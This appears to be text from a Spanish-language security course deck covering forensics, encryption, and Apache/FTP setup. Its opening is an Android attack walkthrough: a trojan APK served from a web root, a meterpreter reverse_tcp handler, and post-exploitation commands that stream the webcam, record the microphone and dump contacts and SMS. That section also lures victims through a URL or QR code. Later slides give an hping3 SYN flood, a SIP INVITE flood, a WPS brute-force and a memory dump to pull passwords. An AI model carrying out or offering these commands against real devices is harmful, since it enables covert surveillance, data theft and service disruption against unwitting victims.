cp /root/Desktop/trojano.apk /var/www/html

Luego subimos el Metasploit

msfdb estart
msfconsole q
msf > search android

msf > use multi/handler


msf exploit(handler) > set PAYLOAD android/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.0.6
msf exploit(handler) > set LPORT 4444
msf exploit(handler) > show options
msf exploit(handler) > exploit
Hacking Android
Post Explotation

meterpreter > help


meterpreter > sysinfo
meterpreter > getuid
meterpreter > ifconfig
meterpreter > ps
meterpreter > route
meterpreter > shell
meterpreter > lpwd
meterpreter > check_root
meterpreter > webcam_list
meterpreter > webcam_stream
meterpreter > record_mic # para el micrfono
meterpreter > dump_contacts
meterpreter > dump_sms
meterpreter > send_sms -d 8297775544 -t "Hola Mundo!"
Hacking Android
Investigacion de la infraestructura en Android

/boot
/system
/storage

Etc.

meterpreter > cd ../../../../


meterpreter > ls
meterpreter > storage/sdcard0/Android/data
meterpreter > ls
Hacking Android
Android via URL

msfconsole -q
msf > search android
msf > use auxiliary/gather/android_htmlfileprovider
msf auxiliary(android_htmlfileprovider) > info

msf auxiliary(android_htmlfileprovider) > set URIPATH /


msf auxiliary(android_htmlfileprovider) > set SRVHOST 192.168.0.6
msf auxiliary(android_htmlfileprovider) > set SRVPORT 8082
msf auxiliary(android_htmlfileprovider) > set FILES /proc/version
msf auxiliary(android_htmlfileprovider) > show options
msf auxiliary(android_htmlfileprovider) > exploit

De alguna manera le enviamos URL a nuestra victima set conecte y


entonces informacin de este.
Hacking Android
Android via codigo QR

Luego de activar el auxiliary android_htmlfileprovider podemos utilizar


la herramienta SET para crear un cdigo QR y que nuestra victima realice
un escaneo.

setoolkit

Ah elegimos la opcin 1

1) Social-Engineeing Attacks

y luego la opcin 8

8) QRCode Generator Attack Vector


Hacking Android
Android via codigo QR

Luego pongo la URL con mi IP y un puerto.

http://192.168.0.6:8084

Nota: luego que se genera el cdigo QR en la ruta


/root/.set/reports/qrcode_attack.png procedemos a moverlo a una ruta
ejemplo /root/Desktop/ Luego le aplicamos ingeniera social a la victima
para que escanee nuestro cdigo QR desde su Android.
Informtica Forense
Informtica Forense
Que es la Informtica Forense?

El computo forense, tambin llamado informtica forense, computacin


forense, anlisis forense digital o examinacin forense digital es la aplicacin de
tcnicas cientficas y analticas especializadas a infraestructura tecnolgica que
permiten identificar, preservar, analizar y presentar datos que sean validos
dentro de un proceso legal.

Dichas tcnicas incluyen reconstruir el bien informtico, examinar datos


residuales, autenticar datos y explicar las caractersticas tcnicas del uso
aplicado a los datos y bienes informticos.
Informtica Forense
Informtica Forense

Como la definicin anterior lo indica, esta disciplina hace uso no solo de


tecnologas de punta para poder mantener la integridad de los datos y del
procesamiento de los mismos; sino que tambin requiere de una
especializacin y conocimientos avanzados en materia de informtica y
sistemas para poder detectar dentro de cualquier dispositivo electrnico lo que
ha sucedido. El conocimiento del informtico forense abarca el conocimiento
no solamente del software si no tambin de hardware, redes, seguridad,
hacking, cracking, recuperacin de informacin.

La informtica forense ayuda a detectar pistas sobre ataques informticos, robo


de informacin, conversaciones o pistas de emails, chats.
Informtica Forense
Informtica Forense

Adicionalmente, un examinador forense digital, dentro del proceso del


computo forense puede llegar a recuperar informacin que haya sido borrada
desde el sistema operativo.

Es muy importante mencionar que la informtica forense o computo forense no


tiene parte preventiva, es decir, la informtica forense no tiene como objetivo el
prevenir delitos, de ello se encarga la seguridad informtica, por eso resulta
imprescindible tener claro el marco de actuacin entre la informtica forense, la
seguridad informtica y la auditoria informtica.
Informtica Forense
Que son los metadatos?

Los metadatos son datos altamente estructurados que describen informacin,


describen el contenido, la calidad, la condicin y otras caractersticas de los
datos.

Algunas Herramientas:

Exiftool
Grampus
Foremost
Bulk_extractor
Foca
Informtica Forense

Sacar Metadata

exiftool imagen.jpg

exiftool all= imagen.jpg # para borrar metadata

bulk_extractor imagen.jpeg -o salida-archivo

pdf-parser documento.pdf

foremost documento.pdf

Python MainGrampus.py
Informtica Forense

Esteganografa

La estenografa es el estudio y aplicacin de tcnicas que permiten ocultar


mensajes u objetos, dentro de otros, llamados portadores, de modo que no se
perciba su existencia. Es decir, procura ocultar mensajes dentro de otros objetos
y de esta forma establecer un canal encubierto de comunicacin, de modo que
el propio acto de la comunicacin pase inadvertido para observadores que
tienen acceso a ese canal.

Una forma de diferenciar la estenografa con la criptografa comn es que la


criptografa solo cifra los archivos manteniendo el archivo original visible pero
al abrirlo mostrara una secuencia de caracteres que no permitir su lectura y
para ver su contenido original es necesario conocer la clave. En la estenografa
pude verse un archivo con un formato diferente y para conocer su contenido
original ser necesario conocer la clave y el software con el que se ocult.
Informtica Forense

Esteganografa

Algunas herramientas para Esteganografia:

StegHide

OpenStego

Steganography Master

OurSecret

Hakros Concealer
Informtica Forense

Esteganografa

Para Esteganografa con los comandos de Linux:

cat foto.jpg archivo-creado.txt > fotonueva.jpg

Para ver si la foto contiene alguna informacion lo vemos asi:

cat < fotonueva.jpg

StegHide

steghide embed -cf foto.jpg -ef secret.txt # para agregar el archivo

steghide info foto.jpg # para informacion del archivo

steghide extract -sf foto.jpg # para extraer data


Informtica Forense

Esteganografa

OpenStego

Es una herramienta Open Source y se utiliza bastante para trabajar con


simples archivos.
Informtica Forense

Borrar Archivos de Forma Segura

Shred es una herramienta que su funcin principal es modificar la


informacin de un archivo llenndolos de ceros para luego borrarlo.

man shred
shred --help

shred -vz archivo.txt # para modificar la info del archivo.


cat archivo.txt
hexdump archivo.txt # para ver info en hexadecimal.
hexeditor archivo.txt # para manipular info en hexadecimal.

Tambin podemos trabajar de la misma forma con Dispositivos

hexdump /dev/sdc
hexeditor -h
hexeditor f usb.img
hexeditor /dev/sdc
Informtica Forense

Copiar un Disco entero para sacar una Imagen

Para esto puedo utilizar la herramienta dc3dd o dd

man dc3dd
dc3dd --help

dc3dd if=/dev/sdc of=/root/Desktop/usb.img


o
dd if=/dev/zero of=/mnt/usb.img
sync

du -sch usb.img
file usb.img

Nota: En base a esta imagen ya podemos trabajar como si de un disco


cualquiera estuvieramos hablando. tambien podemos sacar una imagen de un
Disco con el utilitario dd nativo en todos los *nix.
Informtica Forense

Recuperacin de Archivos desde un Disco

Una vez tenemos una imagen del disco o tenemos el disco conectado
procedemos a utilizar varias herramientas:

Con recoverjpeg podemos recuperar imagenes de tipo jpeg


recoverjpeg usb.img

Otro programa en recuperacin de archivos mas avanzado es scalpel


man scalpel
locate scalpel.conf

Puedo copiar el archivo scalpel.conf en mi directorio actual y editarlo


para descomentar los tipos de extensiones de archivos que queremos
recuperar.

scalpel -c scalpel.conf -o recuperar usb.img


Informtica Forense

Recuperacin de Archivos desde un Disco

Otra herramienta es magicrescue para escanear tipos de archivos


conocidos y es del tipo Open Source.

man magicrescue

locate recipes

cd /usr/share/magicrescue/recipes

ls

mkdir rescate
magicrescue -r zip -r msoffice -d rescate -M io usb.img
Informtica Forense

Recuperacin de Archivos desde un Disco

Otro software para recuperar archivos con mas profundidad es FOREMOST,


para recuperar archivos usando sus headers, footers y estructura de
datos

Ejemplo:

man foremost

foremost -h

foremost -t pdf,rar,exe -o amix-foremost usb.img


Informtica Forense

Recuperacin de Archivos desde un Disco

Safecopy es una herramienta que intenta obtener toda la data posible


desde un disco con posibles particiones danadas.

man safecopy
safecopy help

safecopy /dev/sdc /root/Desktop/safecopy/usb.img

Luego analizamos el archivo con hexeditor

Otra herramienta es Bulk_Extractor para extraer informacion de alguna


imagen de disco.

bulk_extractor -o info-recopilada /dev/sdc1


Informtica Forense

Recuperacin de Archivos desde un Disco

Otra herramienta es FTKImager para Windows y sirve para realizar copias


idnticas del disco windows con espacios y todo.

Una herramienta para hacer el anlisis a la imagen windows es DumpIt en


Windows.

Otra herramienta es forensics toolkit - AccesssData FTK de la misma


compaa que FTKImager.

Otra herramienta muy importante es Autopsy. Es bastante utilizada y es


Open Source.
Informtica Forense

Sacar informacin desde un Proceso

Desde la consola de Meterpreter en Metasploit podemos hacer un Dump a un


proceso y ver todo lo relacionado a ese proceso en especifico, desde
contraseas y otras informaciones.

meterpreter > run process_memdump -p PID

Luego lo abrimos segn la ruta donde ha sido descargado el archivo. Para


apreciar mejor la informacin del archivo lo podemos ver con el editor
vim o con strings para ver contraseas y dems por ejemplo de Gmail.
Informtica Forense

Sacar informacin de la RAM

Volatility es una coleccin de herramientas completamente Open Source,


implementado en Python bajo la Licencia Pblica General de GNU, para la
extraccin de los artefactos digitales a partir de muestras de memoria
voltil (RAM). Las tcnicas de extraccin se realizan completamente
independiente del sistema que est siendo investigado, pero ofrecen una
visibilidad sin precedentes en el estado de ejecucin del sistema. El
marco est destinado a introducir a la gente a las tcnicas y las
complejidades asociadas con la extraccin de los artefactos digitales a
partir de muestras de memoria voltil y proporcionar una plataforma para
futuros trabajos en esta rea de investigacin interesante.

volatility h
volatility f /ruta/de/imagen.img pslist
volatility f /ruta/de/imagen.img hashdump

Nota: siempre se debe de especificar la ruta completa de la imagen.


Pruebas de Estrs
Pruebas de Estrs

Pruebas de Estrs

Las pruebas de estres se realizan para testear nuestros servicios antes


de ser pasados a produccion. Muchas de estas herramientas son utilizadas
para otros fines malisiosos debido a la funcin de la misma.

Entre algunas de estas herramientas podemos mencionar:

Ab
Inundator
Inviteflood
Reaver
Hping3
Pruebas de Estrs

Pruebas de Estrs

Ab es una herramienta para el testeo de un servidor Web con Apache

Ejemplo:

ab -h
ab -n 1000000 c 500 http://www.pagina.com/

Inundator es un generador de multiproceso, cola impulsada, annimo de


deteccin de intrusos falsos positivos con soporte para mltiples
objetivos.

http://inundator.sourceforge.net # para descargarlo

Ejemplo:

inundator h
inundator t 5 192.168.0.1
Pruebas de Estrs

Pruebas de Estrs

Inviteflood es una herramienta para llevar a cabo SIP/SDP INVITE mensaje


de inundaciones a travs de UDP/IP. Fue probado en una plataforma Linux
Red Hat Fedora Core 4 (Pentium IV, 2,5 GHz), pero se espera que esta
herramienta se va a crear y ejecutar en una gran variedad de
distribuciones de Linux con xito.

Ejemplo:

inviteflood h

inviteflood wlan0 5000 www.victima.com ip-victima 1000000


Pruebas de Estrs

Pruebas de Estrs

Reaver implementa ataques de fuerza bruta contra de configuracin Wi-Fi


protegida (WPS) con el fin de recuperar las contraseas WPA/WPA2.

Ejemplo:

airmon-ng start wlan0

wash h
wash i wlan0mon
wash i wlan0mon0 c 6 C

En otra consola hago lo siguiente:

reaver h
reaver i wlan0mon b E0:3A:39:6A:56:67 -v
Pruebas de Estrs

Pruebas de Estrs

Hping3 es una herramienta para los sistemas GNU/Linux que nos permite
modificar paquetes TCP/IP para comprobar la conectividad, la seguridad
de un sistema, hacer denegacin de servicios, etc.

hping3 h

Ejemplo:

Para realizar denegacin de un servicio

hping3 --syn --flood --rand-source 192.168.0.40 --destport 22

Para pasar a traves de un firewall y ver puertos abiertos

hping3 S 192.168.1.40 c 100 p ++1


Programacin de Scripts en Bash
Scripts en Bash

Que es BASH?

Bash significa Bourne again Shell, y es el nombre la version libre desarrollada


por el proyecto GNU de la antigua bourne shell de UNIX. Bash es el interprete
de comandos (shell) por defecto de los sistemas operativos basados en el kernel
Linux y su funcion es proporcionar una interfaz en la cual el usuario introduce
comandos que la shell interpreta y envia al nucleo (kernel) para que este ejecute
las operaciones.

Cada vez utilizamos comandos de consola (cp, ls, cd, mkdir, cat, etc.) estamos
haciendo uso de un intreprete de comandos, el cual por lo general es Bash.
Programas como aterm, Eterm, xterm y similares no son mas que interfaces que
permiten a Bash ejecutarse desde una ventana.
Scripts en Bash

Que es un Script?

Se le suele llamar script a una pieza de software que no necesita ser


compilado para ser ejecutado.

Un ejemplo:

Crear un archivo con un editor vim primero.sh y agregarle lo


siguiente:

#!/bin/bash
echo Hola Mundo

Una vez que hemos grabado podemes ejecutarlo de esta forma:

bash primero.sh
Scripts en Bash

Oh asignandole los permisos de ejecucion con chmod +x primero.sh para


poder ejecutarlo de la siguiente manera.

./primero.sh

Para un Hola Mundo con variables:

#!/bin/bash
CAD="Hola Mundo!"
echo $CAD

Para un script de copias de seguridad simple:

#!/bin/bash
tar -czf /var/my-backup.tgz /mnt/archivos/
Scripts en Bash

Para realizar copias de seguridad con variables:

#!/bin/bash

OF=/var/mi-backup-$(date +%Y%m%d).tgz
tar -czf $OF /mnt/archivos/

Un script de copia de seguridad con mas variables, pero primero creamos


el directorio copias_de_seguridad en /var:

mkdir /var/copias_de_seguridad

Luego el script en bash

#!/bin/bash
ORIG="/home/"
DEST="/var/copias_de_seguridad/"
FICH=home-$(date +%Y%m%d).tgz
tar -czf $DEST$FICH $ORIG
Scripts en Bash

Ejemplo bsico de condicional if .. then:

#!/bin/bash

if [ "seguridad" = "seguridad" ]; then


echo expresin evaluada como verdadera
fi

Ejemplo bsico de condicional if .. then ... else:

#!/bin/bash

if [ "seguridad" = "seguridad" ]; then


echo expresin evaluada como verdadera
else
echo expresin evaluada como falsa
fi
Scripts en Bash

Condicionales con variables

#!/bin/bash
T1="petete"
T2="peteto"
if [ "$T1" = "$T2" ]; then
echo expresin evaluada como verdadera
else
echo expresin evaluada como falsa
fi

Comprobando si existe un fichero


#!/bin/bash
FILE=~/.basrc
if [ -f $FILE ]; then
echo el fichero $FILE existe
else
echo fichero no encontrado
fi
Scripts en Bash

Leyendo informacin del usuario

#!/bin/bash

echo Por favor introduzca su nombre:


read NOMBRE
echo "Hola $NOMBRE, bienvenido a la clase"

Otro ejemplo

#!/bin/bash

echo "ingrese un numero: "


read dato1
echo "ingrese otro numero: "
read dato2
multip=$[$dato1*$dato2]
echo "$dato1 multiplicado por $dato2 es igual a $multip"
Criptografa
Criptografa

En muchas ocaciones manejamos informacion que es de vital importancia y no


debe estar expuesta, para esto debemos de asegurarnos que no pueda ser
captada por la competencia o curiosos.

Para evitar esto y darle ciertos niveles de seguridad, existe la criptografia,


donde nuesta informacion por el medio que sea de forma que no sea legible a
simple vista o necesite de contrasenas para poder ser leida. A esto es lo que se
llama criptografia, a encriptar nuesta informacion.

Hoy en dia cualquiera puede hacerse con un criptosistema seguro como PGP
(Pretty Good Privacy).

GnuPG es un reemplazo completo para PGP. Puede ser utilizado sin


restricciones gracias a que prescinde del algoritmo patentado IDEA. GnuPG es
software libre por lo que puede ser utilizado, modificado y distribuido
libremente bajo los terminos de la GPLv2.
Criptografa

Lo primero es conocer los dos tipos de encriptacion que existen, los simetricos
y los asimetricos.

Cifrado Simetrico

Es aquel en donde se utiliza una sola llave para cifrar y descifrar la


informacion. Es tambien conocido como Shared Key o Shared Secret.

Ejemplo:

Un usuario Pedro le envia un archivo prueba al usuario Manuel, Pedro


utiliza la llave *Abc123 para cifrar el archivo. El usuario Manuel lo recibe
pero para descrifrarlo debe utilizer la misma llave *Abc123 de Pedro.
Criptografa

Algunos algoritmos de cifrado Simetricos:

DES
3DES
AES
RC4

La ventaja del cifrado simetrico es la sencillez y rapidez.

Cifrado Asimetrico:

Es tambien conocido como Criptografia de Llave Publica. Este emplea dos


llaves en vez de una, esto para ejercer las funciones de cifrado y
descifrado de la informacion.

La llave publica es utilizada para cifrar la informacion y la llave


privada para descifrar la informacion.
Criptografa

Ejemplo:

Los usuarios Pedro y Manuel deben estar de acuerdo para que solo ellos
puedan ver sus mensajes enviados utilizando un algoritmo Asimetrico como
RSA o El Gamal. Pedro cifra un archivo con la llave publica.

GnuPG

GNU Privacy Guard (GnuPG o GPG) es una herramienta de cifrado y firmas


digitales desarrollado por Werner Koch, que viene a ser un reemplazo del PGP
(Pretty Good Privacy) pero con la principal diferencia que es software libre
licenciado bajo la GPL. GPG utiliza el estndar del IETF denominado
OpenPGP.

man gpg
gpg --help
Criptografa

Cifrar archivos con GnuPG de forma Simetrica

cp /etc/passwd archivo-simetrico.txt
gpg --symmetric archivo-simetrico.txt

cat archivo-simetrico.txt.gpg

Descifrar archivos de GnuPG

Para verlo en pantalla

gpg --decrypt archivo-simetrico.txt.gpg

Para redireccionarlo a un archivo

gpg --decrypt archivo-simetrico.txt.gpg > archivo.txt


Criptografa

Otra forma de descifrar el archivo

gpg archivo-simetrico.txt.gpg

Otra forma de agregarle mas seguridad a un cifrado simetrico es con el


algoritmo AES.

gpg a --symmetric --cipher-algo AES o archivo-simetrico.aes


archivo-simetrico.txt

file archivo-simetrico.aes

gpg --decrypt archivo-simetrico.aes > archivo.txt


Criptografa

Cifrado de Particiones con LUKS

LUKS (Linux Unified Key Setup-on-disk-format) es una implementacion muy


sencilla de utilizar para la gestin de particiones y unidades de
almacenamiento cifradas en GNU/Linux. Se recomienda su uso en dispositivos
moviles, computadoras portatiles y dispositivos de almacenamiento cuya
informacion se desee proteger en caso de extravio o robo.

Las particiones o unidades de almacenamiento externo cifradas con LUKS,


pueden ser utilizadas desde Windows utilizando FreeOTFE.

Es de vital importancia realizar una copia de seguridad de la particin con la


que vamos a trabajar ya que se pierde todo. una vez hecho el respaldo y que se
haya verificado que el respaldo es confiable, procedemos a desmontar la
particin que se pretende cifrar.
Criptografa

Cifrado de Particiones con LUKS

man cryptsetup
cryptsetup --help

Si tenemos una memoria USB

fdisk l

En el caso que sea el dispositivo sdb

cryptsetup --verbose --verify-passphrase luksFormat /dev/sdb1

cryptsetup luksOpen /dev/sdb1 amix-datos


Criptografa

Cifrado de Particiones con LUKS

Lo anterior crea un nuevo dispositivo denominado /dev/mapper/amix-datos.

ls l /dev/mapper

Para que el sistema operativo pueda utilizarlo, este nuevo dispositivo


requiere ser formateado. En el siguiente ejemplo se da formato en ext4 a
/dev/mapper/amix-datos:

mkfs.ext4 /dev/mapper/amix-datos

Luego montar el disco

mount /dev/mapper/amix-datos /media/egrullon

Y listo
Criptografa

Cifrado de Particiones con LUKS

Para desmontar la memoria Cifrada debemos hacer la primera vez:

Desmontar la particin:

umount /media/egrullon/amix-datos

Desconecte el dispositivo ejecutando cryptsetup, con la opcion luksClose


y el nombre del dispositivo, de acuerdo a como lo vea el planificador de
dispositivos:

cryptsetup luksClose /dev/mapper/amix-datos

Luego desconectar y conectar la USB nuevamente


Configuracin de un Web Server
Web Server Apache

Apache Server es sin duda uno de los servidores de aplicaciones web mas
usados en el mundo, es por esto que vamos a ver como se instala, se configura
y se crean sites o webs. Posteriormente veremos como securizarlo, pero para
eso es necesario conocer un poco su estructura.

Para subir el servicio de apache decimos:

systemctl start apache2

Y para que el servicios suba automaticamente con el reinicio del servidor pues
decimos:

systemctl enable apache2

En la URL probamos con la IP 127.0.0.1, con localhost, o con el nombre del


equipo.
Web Server Apache

La web que vemos en la pantalla anterior es un index o pagina de inicio que se


encuentra en el directorio /var/www/html.

Los archivos del Apache, se encuentran en el /etc/apache2, si ejecutamos el


comando ls podremos ver su contenido.

ls /etc/apache2/

Los archivos de la carpeta mods-available son los mdulos internos que vienen
con Apache, que deberemos desactivar si no los usamos para aumentar la
seguridad.

En el directorio mods-enabled, encontramos los mdulos mas usados que


vienen activados por defecto.
Web Server Apache

Con Apache podremos crear varios Sites o paginas web. Para desactivar un site
se usa el comando a2dissite. En el siguiente ejemplo desactivaremos el Site por
defecto que trae Apache.

cd /etc/apache2/sites-available

a2dissite 000-default.conf

Luego de esto podemos verificar el directorio /etc/apache2/sites-enabled


para comprobar que el link simbolico del archivo 000-default.conf no esta en
esta ruta.

Para activar los sites, es con el comando a2ensite. Vuelvemos a activar el Site
por defecto y verificamos.

a2ensite 000-default.conf
Web Server Apache

Ahora vamos a probar con una pagina en PHP

Creamos el siguiente fichero de pagina web con los comandos que se muestran
en php dentro y lo llamamos info.php.

Es importante crear este fichero en el directorio web, para ello podemos usar el
comando sudo nano /var/www/html/info.php, que abrir un editor de texto y
crear el archivo info.php dentro del directorio indicado si no existe.

vim /var/www/html/info.php

<?php
phpinfo();
?>

Y probar la URL 127.0.0.1/info.php


Web Server Apache

En el fichero /etc/apache2/mods-enabled/dir.conf se muestran los nombres y


extensiones de los archivos web que se consideran de inicio.

Se pueden quitar, cambiar o aadir los que se deseen. Busca en el orden


indicado pasando de uno en uno hasta encontrar uno existente. Si queremos
que por ejemplo nuestra pagina de inicio o principal de la web fuese home.html,
deberamos incluirlo.

Creacion de SITES

Vamos a crear una web llamada www.qubit-security.com. Para que funcione


desde fuera, deberamos comprar el dominio y redireccionarlo a la IP publica
que tenga el servidor, pero para el ejemplo vamos a trabajar en local. Para ello
ponemos lo siguiente en el archivo qubit-security.conf, poniendo la IP
privada del servidor donde esta Apache, es decir, la del Linux con el que
estemos trabajando. Para obtenerla si no la conocemos usamos el comando
ifconfig.
Web Server Apache

cd /etc/apache2/sites-available creamos un archivo llamado:


qubit-security.conf

vim qubit-security.conf

<VirtualHost 192.168.0.6:80>

ServerName www.qubit-security.com
ServerAdmin amix@localhost
DocumentRoot /var/www/qubit-security
DirectoryIndex index.html
ServerAlias qubit-security.com

</VirtualHost>

Luego creamos el directorio qubit-security y le creamos un archivo


index.html dentro.
Web Server Apache

cd /var/www/
mkdir qubit-security
echo "Primer site de Qubit Security" > qubit-security/index.html

Ahora editamos el archivo /etc/apache2/ports.conf y aadimos lo


siguiente, pero puede ser opcional:

NameVirtualHost www.qubit-security.com:80

luego en /etc/apache2/sites-available activamos el site para que nos


cree el link simblico en /etc/apache2/sites-enabled.

a2ensite qubit-security.conf
apachectl configtest
systemctl reload apache2

Nota: para que este dominio nos funcione localmente pues procedemos a
agregar nuestra IP y dominio "qubit-security" en el archivo /etc/hosts.
Web Server Apache

Directivas de Acceso

Apache dispone de directivas de seguridad, vamos a ver algunos ejemplos.

En el archivo de qubit-security.conf agregamos la siguiente informacin.

<Directory /var/www/qubit-secuirity>
Order allow,deny
allow from all
deny from 192.168.0.8
</Directory>

Ahora dentro del directorio /var/www/qubit-security creamos otro


directorio llamado clase y dentro de clase creamos con touch varios
.html.

touch hola.html amix.html seguridad.html

Nota: asi podemos probar que estas paginas existen dentro de clase.
Web Server Apache

Directivas de Acceso

En el archivo /etc/apache2/sites-avaliable/qubit-security.conf agregamos


lo siguiente:

<Directory /var/www/qubit-security/curso>
Options +Indexes -FollowSymlinks -Multiviews
AllowOverride None
Order allow,deny
allow from all
# DirectoryIndex index.html
</Directory>

Luego recargamos el servicios y entramos a la URL

service apache2 reload

Nuevamente entramos al archivo de configuracion y descomentamos


DirectoryIndex index.html, recargamos apache y probamos en la URL.
Configuracin de un FTP Server
FTP Server con vsftpd

FTP

File Transfer Protocol o Protocolo de Transferencia de Archivos (o archivos


informticos) es uno de los protocolos estndar mas utilizados en Internet
siendo el mas idneo para la transferencia de grandes bloques de datos a travs
de redes que soporten TCP/IP.

El servicio utiliza los puertos 20 y 21, exclusivamente sobre TCP. El puerto 20 es


utilizado para el flujo de datos entre cliente y servidor. El puerto 21 es
utilizando para el envo de ordenes del cliente hacia el servidor.

Prcticamente todos los sistemas operativos y plataformas incluyen soporte


para FTP, lo que permite que cualquier computadora conectada a una red
basada sobre TCP/IP pueda hacer uso de este servicio a travs de un cliente
FTP.
FTP Server con vsftpd

Vsftpd

Very Secure FTP Daemon es un equipamiento lgico utilizado para implementar


servidores de archivos a travs del protocolo FTP. Se distingue principalmente
porque sus valores predeterminados son muy seguros y por la sencillez para su
configuracin cuando se le es comparado con otras alternativas como ProFTPD
y Wu-ftpd. En la actualidad se estima que vsftpd podra ser quizs el servidor
FTP mas seguro del mundo.

SFTP/SCP es el protocolo FTP con conexin segura mediante SSH. Esto es de


gran utilidad en los servidores web, donde es necesaria la trasferencia de
archivos mediante FTP. Con este protocolo nos aseguramos de que al menos
dispongamos de una mayor seguridad.
FTP Server con vsftpd

Vsftpd

Para el caso de los debian lo primero lo instalamos con el comando

aptitude install vsftpd

Luego procedemos a editar su archivo de configuracin que esta en el


directorio /etc y realizamos varios cambios.

vim /etc/vsftpd.conf

listen=YES

Quitamos usuarios annimos como se muestra en la siguiente imagen.

anonymous_enable=NO
FTP Server con vsftpd

Vsftpd

Desmarcamos la siguiente lnea para poder conectar con usuarios locales,


para ello le quitamos la almohadilla.

local_enable=YES
local_umask=022

Desmarcamos la siguiente tambin para poder escribir datos.

write_enable=YES

ascii_upload_enable=YES
ascii_download_enable=YES

chroot_local_user=YES
chroot_list_enable=YES
FTP Server con vsftpd

Vsftpd

Desmarcamos la lista para poder asignar usuarios que definiremos en una


lista de acceso.

chroot_list_file=/etc/vsftpd.chroot_list

ls_recurse_enable=YES

Podemos cambiar los mensajes de bienvenida aunque por seguridad no es


bueno describir algn servicio.

ftp_banner=Saludos FTP...

local_root=public_html
FTP Server con vsftpd

Vsftpd

vim /etc/vsftpd.chroot_list
invitado

systemctl restart vsftpd.service

Salvamos y creamos un directorio /home/ftp con mkdir en nuestro Linux


donde tendremos el servicio instalado.

mkdir /home/ftp/invitado
chown R invitado:invitado /home/ftp/invitado

useradd -g ftp -d /home/ftp/invitado/ -c "comentario ftp" invitado s


/sbin/nologin
FTP Server con vsftpd

Vsftpd

Le asignamos un password al usuario

passwd invitado

Por ultimo descargamos las cualquiera de los clientes FTP, lftp o


Filezilla.

En este caso:

aptitude install lftp

Y para conectarnos:

lftp u invitado IP-servidor-ftp


lftp invitado@IP-servidor-ftp:~> ls
lftp invitado@IP-servidor-ftp:~> !ls
lftp invitado@IP-servidor-ftp:~> bye
Logs del Sistema
Los Logs de un Sistema

Syslog

Es un estndar utilizado para la captura, el procesamiento y el trasporte de


mensajes de registro del sistema es decir las bitcoras del sistema. Es tanto
un protocolo de red como a la aplicacin o biblioteca compartida que sirve para
procesar y enviar los mensajes de registro del sistema .

Los mensajes se etiquetan con un cdigo de identificacin de entre los


siguientes: auth, authpriv, daemon, cron, ftp, lpr, kern, mail, news, syslog, user, uucp
y local0 hasta local7. La etiqueta tambin incluye el tipo de programa que
genero los mensajes, indicando tambin el nivel de severidad de entre los
siguientes:

Emergency, Alert, Critical, Error, Warning, Notice, Info y Debug.


Los Logs de un Sistema

Rsyslog

Es un eficiente y rpido sistema de procesamiento de registros de sistema.


Ofrece un diseo modular de alto desempeo y niveles de seguridad
apropiados. A diferencia de sus predecesores sysklog y syslog permite
ingreso de daos desde diversas fuentes, trasformacin de datos y salida de
resultados hacia varios destinos.

Es lo suficientemente verstil y robusto para ser utilizado en entornos


empresariales y tan ligero y sencillo que permite utilizarlo tambin en sistemas
pequeos. Permite almacenar las bitcoras en archivos de texto simple o bases
de datos MySQL y PostgreSQL, utilizar otros destinos en caso de falla,
transporte de syslog a traves de tcp, control detallado de formatos, etiquetas de
tiempo exactas, operaciones en cola de procesamiento y capacidades de filtrado
en cualquier parte de los mensajes.
Muchas Gracias por su Tiempo

Anda mungkin juga menyukai